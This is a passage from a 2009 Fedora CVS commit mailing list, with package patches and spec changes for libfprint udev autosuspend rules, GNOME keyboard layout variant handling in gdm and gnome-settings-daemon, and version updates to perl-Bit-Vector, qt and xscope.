Update of /cvs/pkgs/rpms/libfprint/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14114

Added Files:
	0001-Add-udev-rules-to-set-devices-to-autosuspend.patch 
Log Message:
* Thu Oct 01 2009 Bastien Nocera <bnocera at redhat.com> 0.1.0-12.pre2
- Update udev autosuspend rules and disable SGS Thomson reader


0001-Add-udev-rules-to-set-devices-to-autosuspend.patch:
 Makefile.am              |   13 ++++++--
 fprint-list-udev-rules.c |   74 ++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 84 insertions(+), 3 deletions(-)

--- NEW FILE 0001-Add-udev-rules-to-set-devices-to-autosuspend.patch ---
>From c60d18b9e5e7d62c27d29d4f386a296edc3c491d Mon Sep 17 00:00:00 2001
From: Matthew Garrett <mjg at redhat.com>
Date: Thu, 1 Oct 2009 15:08:41 +0100
Subject: [PATCH] Add udev rules to set devices to autosuspend

Most fingerprint readers can be suspended safely, so use
the udev rules to autosuspend them when they appear.

The script itself contains whitelists and blacklists.
---
 libfprint/Makefile.am              |   13 +++++-
 libfprint/fprint-list-udev-rules.c |   73 ++++++++++++++++++++++++++++++++++++
 2 files changed, 84 insertions(+), 2 deletions(-)
 create mode 100644 libfprint/fprint-list-udev-rules.c

diff --git a/libfprint/Makefile.am b/libfprint/Makefile.am
index 0eb5ca6..7f05468 100644
--- a/libfprint/Makefile.am
+++ b/libfprint/Makefile.am
@@ -1,6 +1,6 @@
 lib_LTLIBRARIES = libfprint.la
-noinst_PROGRAMS = fprint-list-hal-info
-MOSTLYCLEANFILES = $(hal_fdi_DATA)
+noinst_PROGRAMS = fprint-list-hal-info fprint-list-udev-rules
+MOSTLYCLEANFILES = $(hal_fdi_DATA) $(udev_rules_DATA)
 
 UPEKTS_SRC = drivers/upekts.c
 UPEKTC_SRC = drivers/upektc.c
@@ -66,6 +66,15 @@ hal_fdidir = $(datadir)/hal/fdi/information/20thirdparty/
 $(hal_fdi_DATA): fprint-list-hal-info
 	$(builddir)/fprint-list-hal-info > $@
 
+fprint_list_udev_rules_SOURCES = fprint-list-udev-rules.c
+fprint_list_udev_rules_CFLAGS = -fvisibility=hidden -I$(srcdir)/nbis/include $(LIBUSB_CFLAGS) $(GLIB_CFLAGS) $(IMAGEMAGICK_CFLAGS) $(CRYPTO_CFLAGS) $(AM_CFLAGS)
+fprint_list_udev_rules_LDADD = $(builddir)/libfprint.la
+
+udev_rules_DATA = 60-fprint-autosuspend.rules
+udev_rulesdir = $(sysconfdir)/udev/rules.d/
+
+$(udev_rules_DATA): fprint-list-udev-rules
+	$(builddir)/fprint-list-udev-rules > $@
 
 if ENABLE_UPEKTS
 DRIVER_SRC += $(UPEKTS_SRC)
diff --git a/libfprint/fprint-list-udev-rules.c b/libfprint/fprint-list-udev-rules.c
new file mode 100644
index 0000000..874e41a
--- /dev/null
+++ b/libfprint/fprint-list-udev-rules.c
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2009 Red Hat <mjg at redhat.com> 
+ * Copyright (C) 2008 Bastien Nocera <hadess at hadess.net>
+ * Copyright (C) 2008 Timo Hoenig <thoenig at suse.de>, <thoenig at nouse.net>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <config.h>
+#include <stdio.h>
+
+#include "fp_internal.h"
+
+static const struct usb_id whitelist_id_table[] = {
+    { .vendor = 0x08ff, .product = 0x2810 },
+    { 0, 0, 0, },
+};
+
+static const struct usb_id blacklist_id_table[] = {
+    { .vendor = 0x0483, .product = 0x2016 },
+    { 0, 0, 0 },
+};
+
+struct fp_driver whitelist = {
+    .id_table = whitelist_id_table,
+};
+
+static void print_driver (struct fp_driver *driver)
+{
+    int i, j, blacklist;
+
+    for (i = 0; driver->id_table[i].vendor != 0; i++) {
+	blacklist = 0;
+	for (j = 0; blacklist_id_table[j].vendor != 0; j++) {
+	    if (driver->id_table[i].vendor == blacklist_id_table[j].vendor &&
+		driver->id_table[j].product == blacklist_id_table[j].product) {
+		blacklist = 1;
+	    }
+	}
+	if (blacklist)
+	    continue;
+
+	printf ("SUBSYSTEM==\"usb\", ATTRS{idVendor}==\"%04x\", ATTRS{idProduct}==\"%04x\", ATTR{power/level}=\"auto\"\n", driver->id_table[i].vendor, driver->id_table[i].product);
+    }
+}
+
+int main (int argc, char **argv)
+{
+    struct fp_driver **list;
+    guint i;
+
+    list = fprint_get_drivers ();
+
+    for (i = 0; list[i] != NULL; i++) {
+	print_driver (list[i]);
+    }
+
+    print_driver (&whitelist);
+
+    return 0;
+}
-- 
1.6.4.4




From mclasen at fedoraproject.org  Thu Oct  1 14:17:43 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  1 Oct 2009 14:17:43 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12 fix-variant-handling.patch, NONE,
	1.1 gnome-settings-daemon.spec, 1.127, 1.128
Message-ID: <20091001141743.A9D0311C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14083

Modified Files:
	gnome-settings-daemon.spec 
Added Files:
	fix-variant-handling.patch 
Log Message:
Fix handling of keyboard layout variants


fix-variant-handling.patch:
 gsd-keyboard-xkb.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

--- NEW FILE fix-variant-handling.patch ---
>From 19a0f24ad0a819c462595dd59846d0c78a4f75d6 Mon Sep 17 00:00:00 2001
From: Martin Pitt <martin.pitt at ubuntu.com>
Date: Thu, 1 Oct 2009 10:49:48 +0200
Subject: [PATCH] fix variant handling in $GDM_KEYBOARD_LAYOUT

gdm's configuration and $GDM_KEYBOARD_LAYOUT separates layout and
variant with a space, but GConf uses tabs. Convert spaces to tabs in
$GDM_KEYBOARD_LAYOUT to work with either format, for more robustness.

https://bugzilla.gnome.org/show_bug.cgi?id=596897
---
 plugins/keyboard/gsd-keyboard-xkb.c |   15 +++++++++++++--
 1 files changed, 13 insertions(+), 2 deletions(-)

diff --git a/plugins/keyboard/gsd-keyboard-xkb.c b/plugins/keyboard/gsd-keyboard-xkb.c
index 60495dc..9aa59c0 100644
--- a/plugins/keyboard/gsd-keyboard-xkb.c
+++ b/plugins/keyboard/gsd-keyboard-xkb.c
@@ -217,7 +217,8 @@ apply_xkb_settings (void)
 	GConfClient *conf_client;
 	GkbdKeyboardConfig current_sys_kbd_config;
 	int group_to_activate = -1;
-	const char *gdm_layout;
+	char *gdm_layout;
+	char *s;
 
 	if (!inited_ok)
 		return;
@@ -229,8 +230,16 @@ apply_xkb_settings (void)
 	 * We clear gdm_keyboard_layout early, so we don't risk
 	 * recursion from gconf notification.
 	 */
-	gdm_layout = gdm_keyboard_layout;
+	gdm_layout = g_strdup (gdm_keyboard_layout);
 	gdm_keyboard_layout = NULL;
+
+	/* gdm's configuration and $GDM_KEYBOARD_LAYOUT separates layout and
+	 * variant with a space, but gconf uses tabs; so convert to be robust
+	 * with both */
+	for (s = gdm_layout; s && *s; ++s)
+	    if (*s == ' ')
+		*s = '\t';
+
 	if (gdm_layout != NULL) {
 		GSList *layouts;
 		layouts = gconf_client_get_list (conf_client,
@@ -276,6 +285,8 @@ apply_xkb_settings (void)
 		}
 	}
 
+	g_free (gdm_layout);
+
 	if (!try_activating_xkb_config_if_new (&current_sys_kbd_config)) {
 		if (filter_xkb_config ()) {
 			if (!try_activating_xkb_config_if_new (&current_sys_kbd_config)) {
-- 
1.6.3.3



Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.127
retrieving revision 1.128
diff -u -p -r1.127 -r1.128
--- gnome-settings-daemon.spec	25 Sep 2009 17:48:56 -0000	1.127
+++ gnome-settings-daemon.spec	1 Oct 2009 14:17:43 -0000	1.128
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.0
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -35,6 +35,8 @@ BuildRequires:	libcanberra-devel
 # https://bugzilla.gnome.org/show_bug.cgi?id=596136
 Patch0: osd-rounded-rectangle.patch
 Patch1: osd-visual-refresh.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=596897
+Patch2: fix-variant-handling.patch
 
 %description
 A daemon to share settings from GNOME to other applications. It also
@@ -55,6 +57,7 @@ developing applications that use %{name}
 %setup -q
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
+%patch2 -p1 -b .fix-variant-handling
 
 %build
 %configure --enable-static=no --enable-profiling --disable-esd
@@ -166,6 +169,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-4
+- Fix keyboard variant handling
+
 * Fri Sep 25 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-3
 - Align the OSD visuals with the notification theme
 



From mclasen at fedoraproject.org  Thu Oct  1 14:20:59 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  1 Oct 2009 14:20:59 +0000 (UTC)
Subject: rpms/gdm/F-12 gdm-system-keyboard.patch, 1.4, 1.5 gdm.spec, 1.490,
	1.491
Message-ID: <20091001142059.43A7E11C043C@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14517

Modified Files:
	gdm-system-keyboard.patch gdm.spec 
Log Message:
Handle keyboard layout variants in the system layout


gdm-system-keyboard.patch:
 configure.ac                |    1 
 daemon/gdm-session-direct.c |   81 ++++++++++++++++++++++++++++++++++++++++++--
 2 files changed, 79 insertions(+), 3 deletions(-)

Index: gdm-system-keyboard.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm-system-keyboard.patch,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- gdm-system-keyboard.patch	20 Jul 2009 17:20:51 -0000	1.4
+++ gdm-system-keyboard.patch	1 Oct 2009 14:20:57 -0000	1.5
@@ -1,17 +1,22 @@
-diff -up gdm-2.25.2/configure.ac.system-keyboard gdm-2.25.2/configure.ac
---- gdm-2.25.2/configure.ac.system-keyboard	2009-02-24 22:51:00.058815966 -0500
-+++ gdm-2.25.2/configure.ac	2009-02-24 22:51:00.154816109 -0500
-@@ -69,6 +69,7 @@ AC_SUBST(COMMON_LIBS)
- PKG_CHECK_MODULES(DAEMON,
+#
+# Description: Get default keyboard layout from hal
+# Ubuntu: https://bugs.launchpad.net/bugs/395103
+# Fedora: http://cvs.fedoraproject.org/viewvc//devel/gdm/gdm-system-keyboard.patch?view=markup
+#
+diff -Nur -x '*.orig' -x '*~' gdm-2.28.0/configure.ac gdm-2.28.0.new/configure.ac
+--- gdm-2.28.0/configure.ac	2009-09-21 22:06:40.000000000 +0200
++++ gdm-2.28.0.new/configure.ac	2009-10-01 12:35:50.345762314 +0200
+@@ -70,6 +70,7 @@
          dbus-glib-1 >= $DBUS_GLIB_REQUIRED_VERSION
          gobject-2.0 >= $GLIB_REQUIRED_VERSION
-+	hal
+         gio-2.0 >= $GLIB_REQUIRED_VERSION
++        hal
  )
  AC_SUBST(DAEMON_CFLAGS)
  AC_SUBST(DAEMON_LIBS)
-diff -up gdm-2.25.2/daemon/gdm-session-direct.c.system-keyboard gdm-2.25.2/daemon/gdm-session-direct.c
---- gdm-2.25.2/daemon/gdm-session-direct.c.system-keyboard	2008-08-26 15:04:00.000000000 -0400
-+++ gdm-2.25.2/daemon/gdm-session-direct.c	2009-02-24 22:55:02.656566009 -0500
+diff -Nur -x '*.orig' -x '*~' gdm-2.28.0/daemon/gdm-session-direct.c gdm-2.28.0.new/daemon/gdm-session-direct.c
+--- gdm-2.28.0/daemon/gdm-session-direct.c	2009-09-21 22:05:27.000000000 +0200
++++ gdm-2.28.0.new/daemon/gdm-session-direct.c	2009-10-01 12:34:43.000000000 +0200
 @@ -45,6 +45,8 @@
  #include <dbus/dbus-glib.h>
  #include <dbus/dbus-glib-lowlevel.h>
@@ -21,7 +26,7 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
  #include "gdm-session-direct.h"
  #include "gdm-session.h"
  #include "gdm-session-private.h"
-@@ -595,14 +597,66 @@ get_default_language_name (GdmSessionDir
+@@ -598,14 +600,87 @@
      return setlocale (LC_MESSAGES, NULL);
  }
  
@@ -33,6 +38,7 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
 +    char **devices;
 +    int n_devices;
 +    char *layout;
++    char *variant;
 +    char *result;
 +
 +    result = NULL;
@@ -60,8 +66,27 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
 +                                                        "input.xkb.layout",
 +                                                        NULL);
 +        }
-+       result = g_strdup (layout);
-+       libhal_free_string (layout);
++	if (!layout)
++	    goto out;
++
++        variant = libhal_device_get_property_string (ctx,
++                                                    devices[0],
++                                                    "input.x11_options.XkbVariant",
++                                                    NULL);
++        if (!variant) {
++            variant = libhal_device_get_property_string (ctx,
++                                                        devices[0],
++                                                        "input.xkb.variant",
++                                                        NULL);
++        }
++
++	if (variant) {
++	    result = g_strdup_printf("%s\t%s", layout, variant);
++	    libhal_free_string (variant);
++	} else {
++	    result = g_strdup (layout);
++	}
++	libhal_free_string (layout);
 +    }
 +
 +    libhal_free_string_array (devices);
@@ -74,6 +99,7 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
 +        result = g_strdup ("us");
 +    }
 +
++    g_debug ("GdmSessionDirect: System default keyboard layout: '%s'", result);
 +    return result;
 +}
 +
@@ -82,7 +108,7 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
  {
 -    if (session->priv->saved_layout != NULL) {
 -                return session->priv->saved_layout;
-+    if (session->priv->saved_layout == NULL) {
++    if (!session->priv->saved_layout) {
 +        session->priv->saved_layout = get_system_default_layout (session);
      }
  
@@ -91,16 +117,3 @@ diff -up gdm-2.25.2/daemon/gdm-session-d
  }
  
  static char *
-diff -up gdm-2.25.2/daemon/gdm-session-settings.c.system-keyboard gdm-2.25.2/daemon/gdm-session-settings.c
---- gdm-2.25.2/daemon/gdm-session-settings.c.system-keyboard	2008-08-26 15:04:00.000000000 -0400
-+++ gdm-2.25.2/daemon/gdm-session-settings.c	2009-02-24 22:51:00.158815919 -0500
-@@ -149,8 +149,7 @@ gdm_session_settings_set_layout_name (Gd
- {
-         g_return_if_fail (GDM_IS_SESSION_SETTINGS (settings));
- 
--        if (settings->priv->layout_name == NULL ||
--            strcmp (settings->priv->layout_name, layout_name) != 0) {
-+        if (g_strcmp0 (settings->priv->layout_name, layout_name) != 0) {
-                 settings->priv->layout_name = g_strdup (layout_name);
-                 g_object_notify (G_OBJECT (settings), "layout-name");
-         }


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.490
retrieving revision 1.491
diff -u -p -r1.490 -r1.491
--- gdm.spec	28 Sep 2009 15:15:16 -0000	1.490
+++ gdm.spec	1 Oct 2009 14:20:57 -0000	1.491
@@ -16,7 +16,7 @@
 Summary: The GNOME Display Manager
 Name: gdm
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 Epoch: 1
 License: GPLv2+
 Group: User Interface/X
@@ -100,6 +100,7 @@ Patch4: gdm-2.28.0-use-devicekit-power.p
 
 # uses /etc/sysconfig/keyboard and is thus not directly upstreamable
 # should probably be changed to get the system layout from the X server
+# https://bugzilla.gnome.org/show_bug.cgi?id=572765
 Patch13: gdm-system-keyboard.patch
 
 Patch19: gdm-multistack.patch
@@ -400,6 +401,9 @@ fi
 %{_libdir}/gdm/simple-greeter/plugins/fingerprint.so
 
 %changelog
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.4-5
+- Handle keyboard layout variants
+
 * Mon Sep 28 2009 Ray Strode <rstrode at redhat.com> - 1:2.28.0-4
 - Add cache dir to package manifest
 



From kasal at fedoraproject.org  Thu Oct  1 14:28:54 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Thu,  1 Oct 2009 14:28:54 +0000 (UTC)
Subject: rpms/perl-Bit-Vector/devel .cvsignore, 1.6, 1.7 perl-Bit-Vector.spec,
	1.29, 1.30 sources, 1.7, 1.8
Message-ID: <20091001142854.E534F11C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Bit-Vector/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16589

Modified Files:
	.cvsignore perl-Bit-Vector.spec sources 
Log Message:
- new upstream release


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/perl-Bit-Vector/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	4 Aug 2009 20:24:05 -0000	1.6
+++ .cvsignore	1 Oct 2009 14:28:54 -0000	1.7
@@ -1 +1 @@
-Bit-Vector-6.6.tar.gz
+Bit-Vector-7.1.tar.gz


Index: perl-Bit-Vector.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Bit-Vector/devel/perl-Bit-Vector.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- perl-Bit-Vector.spec	4 Aug 2009 20:24:05 -0000	1.29
+++ perl-Bit-Vector.spec	1 Oct 2009 14:28:54 -0000	1.30
@@ -1,5 +1,5 @@
 Name:           perl-Bit-Vector
-Version:        6.6
+Version:        7.1
 Release:        1%{?dist}
 Summary:        Efficient bit vector, set of integers and "big int" math library
 
@@ -69,6 +69,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 7.1-1
+- new upstream release
+
 * Tue Aug  4 2009 Stepan Kasal <skasal at redhat.com> - 6.6-1
 - new upstream release
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/perl-Bit-Vector/devel/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	4 Aug 2009 20:24:05 -0000	1.7
+++ sources	1 Oct 2009 14:28:54 -0000	1.8
@@ -1 +1 @@
-5d7adec95898d7ba23e7a2ce6ae80df7  Bit-Vector-6.6.tar.gz
+164c8574b728f6171b2a6f564fcd2e50  Bit-Vector-7.1.tar.gz



From rdieter at fedoraproject.org  Thu Oct  1 14:28:58 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Thu,  1 Oct 2009 14:28:58 +0000 (UTC)
Subject: rpms/qt/devel
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch, NONE,
	1.1 .cvsignore, 1.62, 1.63 qt.spec, 1.331, 1.332 sources, 1.64,
	1.65 qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch, 1.1,
	NONE qt-x11-opensource-src-4.5.2-ossl10.patch, 1.4,
	NONE qt-x11-opensource-src-4.5.2-system_ca_certificates.patch,
	1.2, NONE qt-x11-opensource-src-4.5.2-timestamp.patch, 1.1, NONE
Message-ID: <20091001142858.A834911C00C1@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16548

Modified Files:
	.cvsignore qt.spec sources 
Added Files:
	qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
Removed Files:
	qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch 
	qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch 
	qt-x11-opensource-src-4.5.2-ossl10.patch 
	qt-x11-opensource-src-4.5.2-system_ca_certificates.patch 
	qt-x11-opensource-src-4.5.2-timestamp.patch 
Log Message:
qt-4.5.3, what we have so far anyway, still need to review/fix
kde-qt git patches


qt-x11-opensource-src-4.5.3-system_ca_certificates.patch:
 qsslsocket_openssl.cpp |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-system_ca_certificates.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp
--- qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates	2009-09-29 06:01:38.000000000 -0500
+++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-01 08:51:30.550913756 -0500
@@ -482,8 +482,20 @@ void QSslSocketPrivate::resetDefaultCiph
 
 QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
 {
+
+    QFile caBundle;
+
+#ifdef Q_OS_UNIX
+    // Check known locations for the system's default bundle.  ### On Windows,
+    // we should use CAPI to find the bundle, and not rely on default unix
+    // locations.
+    caBundle.setFileName(QLatin1String("/etc/pki/tls/certs/ca-bundle.crt"));
+    if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
+       return QSslCertificate::fromDevice(&caBundle);
+#endif
+
     // Qt provides a default bundle of certificates
-    QFile caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
+    caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
     if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
         return QSslCertificate::fromDevice(&caBundle);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	28 Sep 2009 13:33:29 -0000	1.62
+++ .cvsignore	1 Oct 2009 14:28:58 -0000	1.63
@@ -9,3 +9,4 @@ hi22-phonon-gstreamer.png
 hi32-phonon-gstreamer.png
 hi48-phonon-gstreamer.png
 hi64-phonon-gstreamer.png
+qt-x11-opensource-src-4.5.3.tar.gz


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.331
retrieving revision 1.332
diff -u -p -r1.331 -r1.332
--- qt.spec	30 Sep 2009 15:21:36 -0000	1.331
+++ qt.spec	1 Oct 2009 14:28:58 -0000	1.332
@@ -9,14 +9,14 @@
 Summary: Qt toolkit
 Name:    qt
 Epoch:   1
-Version: 4.5.2
-Release: 21%{?dist}
+Version: 4.5.3
+Release: 1%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
 Group: System Environment/Libraries
 Url: http://www.qtsoftware.com/
-Source0: ftp://ftp.trolltech.com/qt/source/qt-x11-opensource-src-%{version}.tar.bz2
+Source0: ftp://ftp.qt.nokia.com/qt/source/qt-x11-opensource-src-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes: qt4 < %{version}-%{release}
 Provides: qt4 = %{version}-%{release}
@@ -42,7 +42,7 @@ Patch17: qt-x11-opensource-src-4.5.2-pul
 Patch19: qt-x11-opensource-src-4.5.1-phonon.patch
 Patch21: qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
 # use system ca-bundle certs, http://bugzilla.redhat.com/521911
-Patch22: qt-x11-opensource-src-4.5.2-system_ca_certificates.patch 
+Patch22: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
 Requires: ca-certificates
 
 ## upstreamable bits
@@ -54,13 +54,8 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
-Patch55: qt-x11-opensource-src-4.5.2-timestamp.patch
-# compile with openssl-1.0
-Patch56: qt-x11-opensource-src-4.5.2-ossl10.patch
 
 # security patches
-Patch100: qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch
-Patch101: qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch
 
 # switch to kde-qt branches, qt-copy doesn't exist anymore
 Patch200: kde-qt-patches-20090820git.patch
@@ -363,16 +358,12 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-%patch55 -p1 -b .timestamp
-%patch56 -p1 -b .ossl10
 
 # security fixes
-%patch100 -p1 -b .CVE-2009-1725
-%patch101 -p1 -b .CVE-2009-2700
 
 # kde-qt branch
-%patch200 -p1 -b .kde-qt-patches-20090820git
-%patch201 -p0 -b .0118-qtcopy-define
+#patch200 -p1 -b .kde-qt-patches-20090820git
+#patch201 -p0 -b .0118-qtcopy-define
 %patch202 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
 %patch203 -p0 -b .0285-qgv-dontshowchildren
 
@@ -934,6 +925,9 @@ fi
 
 
 %changelog
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
+- qt-4.5.3
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
 - switch to external/kde phonon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/sources,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sources	28 Sep 2009 13:33:30 -0000	1.64
+++ sources	1 Oct 2009 14:28:58 -0000	1.65
@@ -1,10 +1,10 @@
 d9f511e4b51983b4e10eb58b320416d5  hi128-app-qt4-logo.png
 6dcc0672ff9e60a6b83f95c5f42bec5b  hi48-app-qt4-logo.png
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
-28a7e8ac9805a6f614d2a27ee1a6ac9d  qt-x11-opensource-src-4.5.2.tar.bz2
 60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
 7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
 0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
 12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
 86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
 153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
+3988cf9af68be2df8a8000ede231de9b  qt-x11-opensource-src-4.5.3.tar.gz


--- qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-ossl10.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-system_ca_certificates.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-timestamp.patch DELETED ---



From yaneti at fedoraproject.org  Thu Oct  1 14:31:17 2009
From: yaneti at fedoraproject.org (Yanko Kaneti)
Date: Thu,  1 Oct 2009 14:31:17 +0000 (UTC)
Subject: rpms/xscope/F-11 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 xscope.spec,
	1.1, 1.2
Message-ID: <20091001143117.62CCC11C00C1@cvs1.fedora.phx.redhat.com>

Author: yaneti

Update of /cvs/pkgs/rpms/xscope/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16979

Modified Files:
	.cvsignore sources xscope.spec 
Log Message:
1.2-1
New upstream release. Drop patches.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	1 Jul 2009 05:16:21 -0000	1.2
+++ .cvsignore	1 Oct 2009 14:31:17 -0000	1.3
@@ -1 +1 @@
-xscope-1.1.tar.bz2
+xscope-1.2.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	1 Jul 2009 05:16:21 -0000	1.2
+++ sources	1 Oct 2009 14:31:17 -0000	1.3
@@ -1 +1 @@
-c37ec177b56d5909584c1672b6beabd5  xscope-1.1.tar.bz2
+1a9df0ac0dd5a2c2a7948dcf48d126c3  xscope-1.2.tar.bz2


Index: xscope.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xscope/F-11/xscope.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- xscope.spec	1 Jul 2009 05:16:21 -0000	1.1
+++ xscope.spec	1 Oct 2009 14:31:17 -0000	1.2
@@ -1,21 +1,15 @@
 Name:           xscope
-Version:        1.1
-Release:        3.gitfccbbd6%{?dist}
+Version:        1.2
+Release:        1%{?dist}
 Summary:        X Window Protocol Viewer
 
 Group:          User Interface/X
 License:        MIT
 URL:            http://cgit.freedesktop.org/xorg/app/xscope/
 Source0:        ftp://ftp.freedesktop.org/pub/xorg/individual/app/%{name}-%{version}.tar.bz2
